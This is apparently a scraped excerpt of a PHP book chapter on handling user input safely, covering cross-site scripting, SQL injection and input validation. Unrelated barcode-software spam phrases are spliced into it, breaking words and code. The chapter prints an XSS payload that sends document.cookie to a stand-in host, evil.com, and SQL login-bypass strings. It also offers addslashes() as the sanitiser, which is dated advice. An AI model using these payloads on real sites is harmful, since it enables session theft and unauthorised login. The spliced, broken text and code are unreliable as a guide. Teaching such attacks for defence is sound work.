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< php if (file_exists($module. ".php")) { include $module. ".php"; } > in .NET Include Code 39 Extended in .NET < php if (file_exists($module. ".php")) { include $module. ".php"; } >

< php if (file_exists($module. ".php")) { include $module. ".php"; } > using visual studio .net todraw bar code 39 on asp.net web,windows application PDF-417 5.4.1.

2 Cross-Sit Code 39 for .NET e Scripting By using the cross-site scripting technique, an attacker might be able to execute pieces of client-side scripting languages, such as JavaScript, and steal cookies or other sensitive data. Crosssite scripting is really not hard.

The attacker only needs a way to insert raw data into the HTML of the site. For example, the attacker might enter <script language="JavaScript">alert();</script> into an input box that does not strip any HTML tags. The following script illustrates this possibility:.

<html> <head><title>XSS example</title></head> <body> Gutmans_ch05 Page 119 Thursday, September 23, 2004 2:41 PM 5.4 Safe-Handling User Input <form> <input name="foo" value="< php echo $_GET["foo"]; >"> </form> </html> It s a straightfo rward script. Suppose the attacker types the following into your form eld:. "><script l .net vs 2010 barcode code39 anguage="JavaScript">alert("boo!");</script><a b=". The JavaScript code results in the pop-up shown in Figure 5.2. Fig. 5.2 Effects of JavaScript in unchecked input. Of course, this i s not scary. However, suppose instead of this innocent popup, the following is input:. "><script l 3 of 9 for .NET anguage="JavaScript">document.location= "http://evil.

com/cgi-bin/cookie.cgi f="+document.cookie</script><a b=".

When a user is tr icked into activating this URL, the contents of your cookie are sent to the evil.com guys. Of course, a user is not likely to click a URL with evil.

com in it, but the bad guys can change the "evil.com" to an URL-encoded form that would look less "weird," especially to beginning Internet users. 5.

4.1.3 SQL Injection SQL Injection is a method in which an attacker inserts malicious code into queries that run on your database.

Have a look at this example:. < php $query = barcode 3/9 for .NET "SELECT login_id FROM users WHERE user="$user" AND pwd="$pw""; mysql_query($query); >. Gutmans_ch05 Page 120 Thursday, September 23, 2004 2:41 PM How to Write a Web Application with PHP Chap. 5 Voil ! Anyone can barcode 3/9 for .NET log in as any user, using a query string like http:// example.com/login.

php user=admin"%20OR%20(user="&pwd=") %20OR%20user=", which effectively calls the following statements:. < php $query = "SELECT login_id FROM users WHERE user="admin" OR (user = "" AND pwd="") OR user="""; mysql_query($query); >. It s even simpler bar code 39 for .NET with the URL http://example.com/login.

php user=admin"%23, which executes the query SELECT login_id FROM users WHERE user="admin"#" AND pwd="". Note that the # marks the beginning of a comment in SQL. Again, it s a simple attack.

Fortunately, it s also easy to prevent. You can sanitize the input using the addslashes() function that adds a slash before every single quote ("), double quote ("), backslash (\), and NUL (\0). Other functions are available to sanitize input, such as strip_tags().

. 5.5 TECHNIQUES TO MAKE SCRIPTS SAFE There is only one Code 3 of 9 for .NET solution to keeping your scripts running safe: Do not trust users. Although this may sound harsh, it s perfectly true.

Not only might users hack your site, but they also do weird things by accident. It s the programmer s responsibility to make sure that these inevitable errors can t do serious damage. Thus, you need to deploy some techniques to save the user from insanity.

5.5.1 Input Validation One essential technique to protect your web site from users is input validation, which is an impressive term that doesn t mean much at all.

The term simply means that you need to check all input that comes from the user, whether the data comes from cookies, GET, or POST data. First, turn off register_globals in php.ini and set the error_level to the highest possible value (E_ALL .

E_STRICT). The r egister_globals setting stops the registration of request data (Cookie, Session, GET, and POST variables) as global variables in your script; the high error_level setting will enable notices for uninitialized variables. For different kinds of input, you can use different methods.

For instance, if you expect a parameter passed with the HTTP GET method to be an integer, force it to be an integer in your script:. Gutmans_ch05 Page 121 Thursday, September 23, 2004 2:41 PM 5.5 Techniques to Make Scripts Safe < php $product_id = (int) $_GET["prod_id"]; > $_GET["prod_id"] doesn t exist You will receive a notice because we error_level setting up. A better way to validate the input would be < php if (!isset($_GET["prod_id"])) { die ("Error, product ID was not set"); } $product_id = (int) $_GET["prod_id"]; >. Everything other than an integer value is converted to 0. But, what if turned the However, if you h ave a large number of input variables, it can be tedious to write this code for each and every variable separately. Instead, you might want to create and use a function for this, as shown in the following example:. < php function .net framework Code 39 sanitize_vars(&$vars, $signatures, $redir_url = null) { $tmp = array(); /* Walk through the signatures and add them to the temporary * array $tmp */ foreach ($signatures as $name => $sig) { if (!isset($vars[$name]]) && isset($sig["required"]) && $sig["required"]) { /* redirect if the variable doesn"t exist in the array */ if ($redir_url) { header("Location: $redir_url"); } else { echo "Parameter $name not present and no redirect URL"; } exit(); } /* apply type to variable */ $tmp[$name] = $vars[$name]; if (isset($sig["type"])) { settype($tmp[$name], $sig["type"]); }.
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